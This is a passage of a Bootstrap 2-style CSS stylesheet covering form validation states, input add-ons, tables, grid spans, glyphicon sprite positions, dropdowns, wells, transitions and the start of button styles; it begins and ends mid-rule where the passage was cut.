.help-block,\n.control-group.error .help-inline {\n  color: #b94a48;\n}\n\n.control-group.error .checkbox,\n.control-group.error .radio,\n.control-group.error input,\n.control-group.error select,\n.control-group.error textarea {\n  color: #b94a48;\n  border-color: #b94a48;\n}\n\n.control-group.error .checkbox:focus,\n.control-group.error .radio:focus,\n.control-group.error input:focus,\n.control-group.error select:focus,\n.control-group.error textarea:focus {\n  border-color: #953b39;\n  -webkit-box-shadow: 0 0 6px #d59392;\n     -moz-box-shadow: 0 0 6px #d59392;\n          box-shadow: 0 0 6px #d59392;\n}\n\n.control-group.error .input-prepend .add-on,\n.control-group.error .input-append .add-on {\n  color: #b94a48;\n  background-color: #f2dede;\n  border-color: #b94a48;\n}\n\n.control-group.success > label,\n.control-group.success .help-block,\n.control-group.success .help-inline {\n  color: #468847;\n}\n\n.control-group.success .checkbox,\n.control-group.success .radio,\n.control-group.success input,\n.control-group.success select,\n.control-group.success textarea {\n  color: #468847;\n  border-color: #468847;\n}\n\n.control-group.success .checkbox:focus,\n.control-group.success .radio:focus,\n.control-group.success input:focus,\n.control-group.success select:focus,\n.control-group.success textarea:focus {\n  border-color: #356635;\n  -webkit-box-shadow: 0 0 6px #7aba7b;\n     -moz-box-shadow: 0 0 6px #7aba7b;\n          box-shadow: 0 0 6px #7aba7b;\n}\n\n.control-group.success .input-prepend .add-on,\n.control-group.success .input-append .add-on {\n  color: #468847;\n  background-color: #dff0d8;\n  border-color: #468847;\n}\n\ninput:focus:required:invalid,\ntextarea:focus:required:invalid,\nselect:focus:required:invalid {\n  color: #b94a48;\n  border-color: #ee5f5b;\n}\n\ninput:focus:required:invalid:focus,\ntextarea:focus:required:invalid:focus,\nselect:focus:required:invalid:focus {\n  border-color: #e9322d;\n  -webkit-box-shadow: 0 0 6px #f8b9b7;\n     -moz-box-shadow: 0 0 6px #f8b9b7;\n          box-shadow: 0 0 6px #f8b9b7;\n}\n\n.form-actions {\n  padding: 17px 20px 18px;\n  margin-top: 18px;\n  margin-bottom: 18px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #e5e5e5;\n  *zoom: 1;\n}\n\n.form-actions:before,\n.form-actions:after {\n  display: table;\n  content: \"\";\n}\n\n.form-actions:after {\n  clear: both;\n}\n\n.uneditable-input {\n  overflow: hidden;\n  white-space: nowrap;\n  cursor: not-allowed;\n  background-color: #ffffff;\n  border-color: #eee;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n}\n\n:-moz-placeholder {\n  color: #999999;\n}\n\n:-ms-input-placeholder {\n  color: #999999;\n}\n\n::-webkit-input-placeholder {\n  color: #999999;\n}\n\n.help-block,\n.help-inline {\n  color: #555555;\n}\n\n.help-block {\n  display: block;\n  margin-bottom: 9px;\n}\n\n.help-inline {\n  display: inline-block;\n  *display: inline;\n  padding-left: 5px;\n  vertical-align: middle;\n  *zoom: 1;\n}\n\n.input-prepend,\n.input-append {\n  margin-bottom: 5px;\n}\n\n.input-prepend input,\n.input-append input,\n.input-prepend select,\n.input-append select,\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n  position: relative;\n  margin-bottom: 0;\n  *margin-left: 0;\n  vertical-align: middle;\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.input-prepend input:focus,\n.input-append input:focus,\n.input-prepend select:focus,\n.input-append select:focus,\n.input-prepend .uneditable-input:focus,\n.input-append .uneditable-input:focus {\n  z-index: 2;\n}\n\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n  border-left-color: #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on {\n  display: inline-block;\n  width: auto;\n  height: 18px;\n  min-width: 16px;\n  padding: 4px 5px;\n  font-weight: normal;\n  line-height: 18px;\n  text-align: center;\n  text-shadow: 0 1px 0 #ffffff;\n  vertical-align: middle;\n  background-color: #eeeeee;\n  border: 1px solid #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on,\n.input-prepend .btn,\n.input-append .btn {\n  margin-left: -1px;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.input-prepend .active,\n.input-append .active {\n  background-color: #a9dba9;\n  border-color: #46a546;\n}\n\n.input-prepend .add-on,\n.input-prepend .btn {\n  margin-right: -1px;\n}\n\n.input-prepend .add-on:first-child,\n.input-prepend .btn:first-child {\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-append input,\n.input-append select,\n.input-append .uneditable-input {\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-append .uneditable-input {\n  border-right-color: #ccc;\n  border-left-color: #eee;\n}\n\n.input-append .add-on:last-child,\n.input-append .btn:last-child {\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.input-prepend.input-append input,\n.input-prepend.input-append select,\n.input-prepend.input-append .uneditable-input {\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.input-prepend.input-append .add-on:first-child,\n.input-prepend.input-append .btn:first-child {\n  margin-right: -1px;\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-prepend.input-append .add-on:last-child,\n.input-prepend.input-append .btn:last-child {\n  margin-left: -1px;\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.search-query {\n  padding-right: 14px;\n  padding-right: 4px \\9;\n  padding-left: 14px;\n  padding-left: 4px \\9;\n  /* IE7-8 doesn't have border-radius, so don't indent the padding */\n\n  margin-bottom: 0;\n  -webkit-border-radius: 14px;\n     -moz-border-radius: 14px;\n          border-radius: 14px;\n}\n\n.form-search input,\n.form-inline input,\n.form-horizontal input,\n.form-search textarea,\n.form-inline textarea,\n.form-horizontal textarea,\n.form-search select,\n.form-inline select,\n.form-horizontal select,\n.form-search .help-inline,\n.form-inline .help-inline,\n.form-horizontal .help-inline,\n.form-search .uneditable-input,\n.form-inline .uneditable-input,\n.form-horizontal .uneditable-input,\n.form-search .input-prepend,\n.form-inline .input-prepend,\n.form-horizontal .input-prepend,\n.form-search .input-append,\n.form-inline .input-append,\n.form-horizontal .input-append {\n  display: inline-block;\n  *display: inline;\n  margin-bottom: 0;\n  *zoom: 1;\n}\n\n.form-search .hide,\n.form-inline .hide,\n.form-horizontal .hide {\n  display: none;\n}\n\n.form-search label,\n.form-inline label {\n  display: inline-block;\n}\n\n.form-search .input-append,\n.form-inline .input-append,\n.form-search .input-prepend,\n.form-inline .input-prepend {\n  margin-bottom: 0;\n}\n\n.form-search .radio,\n.form-search .checkbox,\n.form-inline .radio,\n.form-inline .checkbox {\n  padding-left: 0;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n\n.form-search .radio input[type=\"radio\"],\n.form-search .checkbox input[type=\"checkbox\"],\n.form-inline .radio input[type=\"radio\"],\n.form-inline .checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-right: 3px;\n  margin-left: 0;\n}\n\n.control-group {\n  margin-bottom: 9px;\n}\n\nlegend + .control-group {\n  margin-top: 18px;\n  -webkit-margin-top-collapse: separate;\n}\n\n.form-horizontal .control-group {\n  margin-bottom: 18px;\n  *zoom: 1;\n}\n\n.form-horizontal .control-group:before,\n.form-horizontal .control-group:after {\n  display: table;\n  content: \"\";\n}\n\n.form-horizontal .control-group:after {\n  clear: both;\n}\n\n.form-horizontal .control-label {\n  float: left;\n  width: 140px;\n  padding-top: 5px;\n  text-align: right;\n}\n\n.form-horizontal .controls {\n  *display: inline-block;\n  *padding-left: 20px;\n  margin-left: 160px;\n  *margin-left: 0;\n}\n\n.form-horizontal .controls:first-child {\n  *padding-left: 160px;\n}\n\n.form-horizontal .help-block {\n  margin-top: 9px;\n  margin-bottom: 0;\n}\n\n.form-horizontal .form-actions {\n  padding-left: 160px;\n}\n\ntable {\n  max-width: 100%;\n  background-color: transparent;\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\n.table {\n  width: 100%;\n  margin-bottom: 18px;\n}\n\n.table th,\n.table td {\n  padding: 8px;\n  line-height: 18px;\n  text-align: left;\n  vertical-align: top;\n  border-top: 1px solid #dddddd;\n}\n\n.table th {\n  font-weight: bold;\n}\n\n.table thead th {\n  vertical-align: bottom;\n}\n\n.table caption + thead tr:first-child th,\n.table caption + thead tr:first-child td,\n.table colgroup + thead tr:first-child th,\n.table colgroup + thead tr:first-child td,\n.table thead:first-child tr:first-child th,\n.table thead:first-child tr:first-child td {\n  border-top: 0;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #dddddd;\n}\n\n.table-condensed th,\n.table-condensed td {\n  padding: 4px 5px;\n}\n\n.table-bordered {\n  border: 1px solid #dddddd;\n  border-collapse: separate;\n  *border-collapse: collapsed;\n  border-left: 0;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border-left: 1px solid #dddddd;\n}\n\n.table-bordered caption + thead tr:first-child th,\n.table-bordered caption + tbody tr:first-child th,\n.table-bordered caption + tbody tr:first-child td,\n.table-bordered colgroup + thead tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child td,\n.table-bordered thead:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child td {\n  border-top: 0;\n}\n\n.table-bordered thead:first-child tr:first-child th:first-child,\n.table-bordered tbody:first-child tr:first-child td:first-child {\n  -webkit-border-top-left-radius: 4px;\n          border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n}\n\n.table-bordered thead:first-child tr:first-child th:last-child,\n.table-bordered tbody:first-child tr:first-child td:last-child {\n  -webkit-border-top-right-radius: 4px;\n          border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:first-child,\n.table-bordered tbody:last-child tr:last-child td:first-child {\n  -webkit-border-radius: 0 0 0 4px;\n     -moz-border-radius: 0 0 0 4px;\n          border-radius: 0 0 0 4px;\n  -webkit-border-bottom-left-radius: 4px;\n          border-bottom-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:last-child,\n.table-bordered tbody:last-child tr:last-child td:last-child {\n  -webkit-border-bottom-right-radius: 4px;\n          border-bottom-right-radius: 4px;\n  -moz-border-radius-bottomright: 4px;\n}\n\n.table-striped tbody tr:nth-child(odd) td,\n.table-striped tbody tr:nth-child(odd) th {\n  background-color: #f9f9f9;\n}\n\n.table tbody tr:hover td,\n.table tbody tr:hover th {\n  background-color: #f5f5f5;\n}\n\ntable .span1 {\n  float: none;\n  width: 44px;\n  margin-left: 0;\n}\n\ntable .span2 {\n  float: none;\n  width: 124px;\n  margin-left: 0;\n}\n\ntable .span3 {\n  float: none;\n  width: 204px;\n  margin-left: 0;\n}\n\ntable .span4 {\n  float: none;\n  width: 284px;\n  margin-left: 0;\n}\n\ntable .span5 {\n  float: none;\n  width: 364px;\n  margin-left: 0;\n}\n\ntable .span6 {\n  float: none;\n  width: 444px;\n  margin-left: 0;\n}\n\ntable .span7 {\n  float: none;\n  width: 524px;\n  margin-left: 0;\n}\n\ntable .span8 {\n  float: none;\n  width: 604px;\n  margin-left: 0;\n}\n\ntable .span9 {\n  float: none;\n  width: 684px;\n  margin-left: 0;\n}\n\ntable .span10 {\n  float: none;\n  width: 764px;\n  margin-left: 0;\n}\n\ntable .span11 {\n  float: none;\n  width: 844px;\n  margin-left: 0;\n}\n\ntable .span12 {\n  float: none;\n  width: 924px;\n  margin-left: 0;\n}\n\ntable .span13 {\n  float: none;\n  width: 1004px;\n  margin-left: 0;\n}\n\ntable .span14 {\n  float: none;\n  width: 1084px;\n  margin-left: 0;\n}\n\ntable .span15 {\n  float: none;\n  width: 1164px;\n  margin-left: 0;\n}\n\ntable .span16 {\n  float: none;\n  width: 1244px;\n  margin-left: 0;\n}\n\ntable .span17 {\n  float: none;\n  width: 1324px;\n  margin-left: 0;\n}\n\ntable .span18 {\n  float: none;\n  width: 1404px;\n  margin-left: 0;\n}\n\ntable .span19 {\n  float: none;\n  width: 1484px;\n  margin-left: 0;\n}\n\ntable .span20 {\n  float: none;\n  width: 1564px;\n  margin-left: 0;\n}\n\ntable .span21 {\n  float: none;\n  width: 1644px;\n  margin-left: 0;\n}\n\ntable .span22 {\n  float: none;\n  width: 1724px;\n  margin-left: 0;\n}\n\ntable .span23 {\n  float: none;\n  width: 1804px;\n  margin-left: 0;\n}\n\ntable .span24 {\n  float: none;\n  width: 1884px;\n  margin-left: 0;\n}\n\n[class^=\"icon-\"],\n[class*=\" icon-\"] {\n  display: inline-block;\n  width: 14px;\n  height: 14px;\n  *margin-right: .3em;\n  line-height: 14px;\n  vertical-align: text-top;\n  background-image: url(\"../img/glyphicons-halflings.png\");\n  background-position: 14px 14px;\n  background-repeat: no-repeat;\n}\n\n[class^=\"icon-\"]:last-child,\n[class*=\" icon-\"]:last-child {\n  *margin-left: 0;\n}\n\n.icon-white {\n  background-image: url(\"../img/glyphicons-halflings-white.png\");\n}\n\n.icon-glass {\n  background-position: 0      0;\n}\n\n.icon-music {\n  background-position: -24px 0;\n}\n\n.icon-search {\n  background-position: -48px 0;\n}\n\n.icon-envelope {\n  background-position: -72px 0;\n}\n\n.icon-heart {\n  background-position: -96px 0;\n}\n\n.icon-star {\n  background-position: -120px 0;\n}\n\n.icon-star-empty {\n  background-position: -144px 0;\n}\n\n.icon-user {\n  background-position: -168px 0;\n}\n\n.icon-film {\n  background-position: -192px 0;\n}\n\n.icon-th-large {\n  background-position: -216px 0;\n}\n\n.icon-th {\n  background-position: -240px 0;\n}\n\n.icon-th-list {\n  background-position: -264px 0;\n}\n\n.icon-ok {\n  background-position: -288px 0;\n}\n\n.icon-remove {\n  background-position: -312px 0;\n}\n\n.icon-zoom-in {\n  background-position: -336px 0;\n}\n\n.icon-zoom-out {\n  background-position: -360px 0;\n}\n\n.icon-off {\n  background-position: -384px 0;\n}\n\n.icon-signal {\n  background-position: -408px 0;\n}\n\n.icon-cog {\n  background-position: -432px 0;\n}\n\n.icon-trash {\n  background-position: -456px 0;\n}\n\n.icon-home {\n  background-position: 0 -24px;\n}\n\n.icon-file {\n  background-position: -24px -24px;\n}\n\n.icon-time {\n  background-position: -48px -24px;\n}\n\n.icon-road {\n  background-position: -72px -24px;\n}\n\n.icon-download-alt {\n  background-position: -96px -24px;\n}\n\n.icon-download {\n  background-position: -120px -24px;\n}\n\n.icon-upload {\n  background-position: -144px -24px;\n}\n\n.icon-inbox {\n  background-position: -168px -24px;\n}\n\n.icon-play-circle {\n  background-position: -192px -24px;\n}\n\n.icon-repeat {\n  background-position: -216px -24px;\n}\n\n.icon-refresh {\n  background-position: -240px -24px;\n}\n\n.icon-list-alt {\n  background-position: -264px -24px;\n}\n\n.icon-lock {\n  background-position: -287px -24px;\n}\n\n.icon-flag {\n  background-position: -312px -24px;\n}\n\n.icon-headphones {\n  background-position: -336px -24px;\n}\n\n.icon-volume-off {\n  background-position: -360px -24px;\n}\n\n.icon-volume-down {\n  background-position: -384px -24px;\n}\n\n.icon-volume-up {\n  background-position: -408px -24px;\n}\n\n.icon-qrcode {\n  background-position: -432px -24px;\n}\n\n.icon-barcode {\n  background-position: -456px -24px;\n}\n\n.icon-tag {\n  background-position: 0 -48px;\n}\n\n.icon-tags {\n  background-position: -25px -48px;\n}\n\n.icon-book {\n  background-position: -48px -48px;\n}\n\n.icon-bookmark {\n  background-position: -72px -48px;\n}\n\n.icon-print {\n  background-position: -96px -48px;\n}\n\n.icon-camera {\n  background-position: -120px -48px;\n}\n\n.icon-font {\n  background-position: -144px -48px;\n}\n\n.icon-bold {\n  background-position: -167px -48px;\n}\n\n.icon-italic {\n  background-position: -192px -48px;\n}\n\n.icon-text-height {\n  background-position: -216px -48px;\n}\n\n.icon-text-width {\n  background-position: -240px -48px;\n}\n\n.icon-align-left {\n  background-position: -264px -48px;\n}\n\n.icon-align-center {\n  background-position: -288px -48px;\n}\n\n.icon-align-right {\n  background-position: -312px -48px;\n}\n\n.icon-align-justify {\n  background-position: -336px -48px;\n}\n\n.icon-list {\n  background-position: -360px -48px;\n}\n\n.icon-indent-left {\n  background-position: -384px -48px;\n}\n\n.icon-indent-right {\n  background-position: -408px -48px;\n}\n\n.icon-facetime-video {\n  background-position: -432px -48px;\n}\n\n.icon-picture {\n  background-position: -456px -48px;\n}\n\n.icon-pencil {\n  background-position: 0 -72px;\n}\n\n.icon-map-marker {\n  background-position: -24px -72px;\n}\n\n.icon-adjust {\n  background-position: -48px -72px;\n}\n\n.icon-tint {\n  background-position: -72px -72px;\n}\n\n.icon-edit {\n  background-position: -96px -72px;\n}\n\n.icon-share {\n  background-position: -120px -72px;\n}\n\n.icon-check {\n  background-position: -144px -72px;\n}\n\n.icon-move {\n  background-position: -168px -72px;\n}\n\n.icon-step-backward {\n  background-position: -192px -72px;\n}\n\n.icon-fast-backward {\n  background-position: -216px -72px;\n}\n\n.icon-backward {\n  background-position: -240px -72px;\n}\n\n.icon-play {\n  background-position: -264px -72px;\n}\n\n.icon-pause {\n  background-position: -288px -72px;\n}\n\n.icon-stop {\n  background-position: -312px -72px;\n}\n\n.icon-forward {\n  background-position: -336px -72px;\n}\n\n.icon-fast-forward {\n  background-position: -360px -72px;\n}\n\n.icon-step-forward {\n  background-position: -384px -72px;\n}\n\n.icon-eject {\n  background-position: -408px -72px;\n}\n\n.icon-chevron-left {\n  background-position: -432px -72px;\n}\n\n.icon-chevron-right {\n  background-position: -456px -72px;\n}\n\n.icon-plus-sign {\n  background-position: 0 -96px;\n}\n\n.icon-minus-sign {\n  background-position: -24px -96px;\n}\n\n.icon-remove-sign {\n  background-position: -48px -96px;\n}\n\n.icon-ok-sign {\n  background-position: -72px -96px;\n}\n\n.icon-question-sign {\n  background-position: -96px -96px;\n}\n\n.icon-info-sign {\n  background-position: -120px -96px;\n}\n\n.icon-screenshot {\n  background-position: -144px -96px;\n}\n\n.icon-remove-circle {\n  background-position: -168px -96px;\n}\n\n.icon-ok-circle {\n  background-position: -192px -96px;\n}\n\n.icon-ban-circle {\n  background-position: -216px -96px;\n}\n\n.icon-arrow-left {\n  background-position: -240px -96px;\n}\n\n.icon-arrow-right {\n  background-position: -264px -96px;\n}\n\n.icon-arrow-up {\n  background-position: -289px -96px;\n}\n\n.icon-arrow-down {\n  background-position: -312px -96px;\n}\n\n.icon-share-alt {\n  background-position: -336px -96px;\n}\n\n.icon-resize-full {\n  background-position: -360px -96px;\n}\n\n.icon-resize-small {\n  background-position: -384px -96px;\n}\n\n.icon-plus {\n  background-position: -408px -96px;\n}\n\n.icon-minus {\n  background-position: -433px -96px;\n}\n\n.icon-asterisk {\n  background-position: -456px -96px;\n}\n\n.icon-exclamation-sign {\n  background-position: 0 -120px;\n}\n\n.icon-gift {\n  background-position: -24px -120px;\n}\n\n.icon-leaf {\n  background-position: -48px -120px;\n}\n\n.icon-fire {\n  background-position: -72px -120px;\n}\n\n.icon-eye-open {\n  background-position: -96px -120px;\n}\n\n.icon-eye-close {\n  background-position: -120px -120px;\n}\n\n.icon-warning-sign {\n  background-position: -144px -120px;\n}\n\n.icon-plane {\n  background-position: -168px -120px;\n}\n\n.icon-calendar {\n  background-position: -192px -120px;\n}\n\n.icon-random {\n  background-position: -216px -120px;\n}\n\n.icon-comment {\n  background-position: -240px -120px;\n}\n\n.icon-magnet {\n  background-position: -264px -120px;\n}\n\n.icon-chevron-up {\n  background-position: -288px -120px;\n}\n\n.icon-chevron-down {\n  background-position: -313px -119px;\n}\n\n.icon-retweet {\n  background-position: -336px -120px;\n}\n\n.icon-shopping-cart {\n  background-position: -360px -120px;\n}\n\n.icon-folder-close {\n  background-position: -384px -120px;\n}\n\n.icon-folder-open {\n  background-position: -408px -120px;\n}\n\n.icon-resize-vertical {\n  background-position: -432px -119px;\n}\n\n.icon-resize-horizontal {\n  background-position: -456px -118px;\n}\n\n.icon-hdd {\n  background-position: 0 -144px;\n}\n\n.icon-bullhorn {\n  background-position: -24px -144px;\n}\n\n.icon-bell {\n  background-position: -48px -144px;\n}\n\n.icon-certificate {\n  background-position: -72px -144px;\n}\n\n.icon-thumbs-up {\n  background-position: -96px -144px;\n}\n\n.icon-thumbs-down {\n  background-position: -120px -144px;\n}\n\n.icon-hand-right {\n  background-position: -144px -144px;\n}\n\n.icon-hand-left {\n  background-position: -168px -144px;\n}\n\n.icon-hand-up {\n  background-position: -192px -144px;\n}\n\n.icon-hand-down {\n  background-position: -216px -144px;\n}\n\n.icon-circle-arrow-right {\n  background-position: -240px -144px;\n}\n\n.icon-circle-arrow-left {\n  background-position: -264px -144px;\n}\n\n.icon-circle-arrow-up {\n  background-position: -288px -144px;\n}\n\n.icon-circle-arrow-down {\n  background-position: -312px -144px;\n}\n\n.icon-globe {\n  background-position: -336px -144px;\n}\n\n.icon-wrench {\n  background-position: -360px -144px;\n}\n\n.icon-tasks {\n  background-position: -384px -144px;\n}\n\n.icon-filter {\n  background-position: -408px -144px;\n}\n\n.icon-briefcase {\n  background-position: -432px -144px;\n}\n\n.icon-fullscreen {\n  background-position: -456px -144px;\n}\n\n.dropup,\n.dropdown {\n  position: relative;\n}\n\n.dropdown-toggle {\n  *margin-bottom: -3px;\n}\n\n.dropdown-toggle:active,\n.open .dropdown-toggle {\n  outline: 0;\n}\n\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  vertical-align: top;\n  border-top: 4px solid #000000;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n  content: \"\";\n  opacity: 0.3;\n  filter: alpha(opacity=30);\n}\n\n.dropdown .caret {\n  margin-top: 8px;\n  margin-left: 2px;\n}\n\n.dropdown:hover .caret,\n.open .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 4px 0;\n  margin: 1px 0 0;\n  list-style: none;\n  background-color: #ffffff;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  *border-right-width: 2px;\n  *border-bottom-width: 2px;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n     -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding;\n          background-clip: padding-box;\n}\n\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.dropdown-menu .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 8px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n\n.dropdown-menu a {\n  display: block;\n  padding: 3px 15px;\n  clear: both;\n  font-weight: normal;\n  line-height: 18px;\n  color: #333333;\n  white-space: nowrap;\n}\n\n.dropdown-menu li > a:hover,\n.dropdown-menu .active > a,\n.dropdown-menu .active > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: #0088cc;\n}\n\n.open {\n  *z-index: 1000;\n}\n\n.open > .dropdown-menu {\n  display: block;\n}\n\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  border-top: 0;\n  border-bottom: 4px solid #000000;\n  content: \"\\2191\";\n}\n\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 1px;\n}\n\n.typeahead {\n  margin-top: 2px;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #eee;\n  border: 1px solid rgba(0, 0, 0, 0.05);\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, 0.15);\n}\n\n.well-large {\n  padding: 24px;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n}\n\n.well-small {\n  padding: 9px;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity 0.15s linear;\n     -moz-transition: opacity 0.15s linear;\n      -ms-transition: opacity 0.15s linear;\n       -o-transition: opacity 0.15s linear;\n          transition: opacity 0.15s linear;\n}\n\n.fade.in {\n  opacity: 1;\n}\n\n.collapse {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition: height 0.35s ease;\n     -moz-transition: height 0.35s ease;\n      -ms-transition: height 0.35s ease;\n       -o-transition: height 0.35s ease;\n          transition: height 0.35s ease;\n}\n\n.collapse.in {\n  height: auto;\n}\n\n.close {\n  float: right;\n  font-size: 20px;\n  font-weight: bold;\n  line-height: 18px;\n  color: #000000;\n  text-shadow: 0 1px 0 #ffffff;\n  opacity: 0.2;\n  filter: alpha(opacity=20);\n}\n\n.close:hover {\n  color: #000000;\n  text-decoration: none;\n  cursor: pointer;\n  opacity: 0.4;\n  filter: alpha(opacity=40);\n}\n\nbutton.close {\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.btn {\n  display: inline-block;\n  *display: inline;\n  padding: 4px 10px 4px;\n  margin-bottom: 0;\n  *margin-left: .3em;\n  font-size: 13px;\n  line-height: 18px;\n  *line-height: 20px;\n  color: #333333;\n  text-align: center;\n  text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);\n  vertical-align: middle;\n  cursor: pointer;\n  background-color: #f5f5f5;\n  *background-color: #e6e6e6;\n  background-image: -ms-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));\n  background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6);\n  background-repeat: repeat-x;\n  border: 1px solid #cccccc;\n  *border: 0;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  border-color: #e6e6e6 #e6e6e6 #bfbfbf;\n  border-bottom-color: #b3b3b3;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n  *zoom: 1;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn:hover,\n.btn:active,\n.btn.active,\n.btn.disabled,\n.btn[disabled] {\n  background-color: #e6e6e6;\n  *background-color: #d9d9d9;\n}\n\n.btn:active,\n.btn.active {\n  background-color: #cccccc \\9;\n}\n\n.btn:first-child {\n  *margin-left: 0;\n}\n\n.btn:hover {\n  color: #333333;\n  text-decoration: none;\n  background-color: #e6e6e6;\n  *background-color: #d9d9d9;\n  /* Buttons in IE7 don't get borders, so darken on hover */\n\n  background-position: 0 -15px;\n  -webkit-transition: background-position 0.1s linear;\n     -moz-transition: background-position 0.1s linear;\n      -ms-transition: background-position 0.1s linear;\n       -o-transition: background-position 0.1s linear;\n          transition: background-position 0.1s linear;\n}\n\n.btn:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\n.btn.active,\n.btn:active {\n  background-color: #e6e6e6;\n  background-color: #d9d9d9 \\9;\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn.disabled,\n.btn[disabled] {\n  cursor: default;\n  background-color: #e6e6e6;\n  background-image: none;\n  opacity: 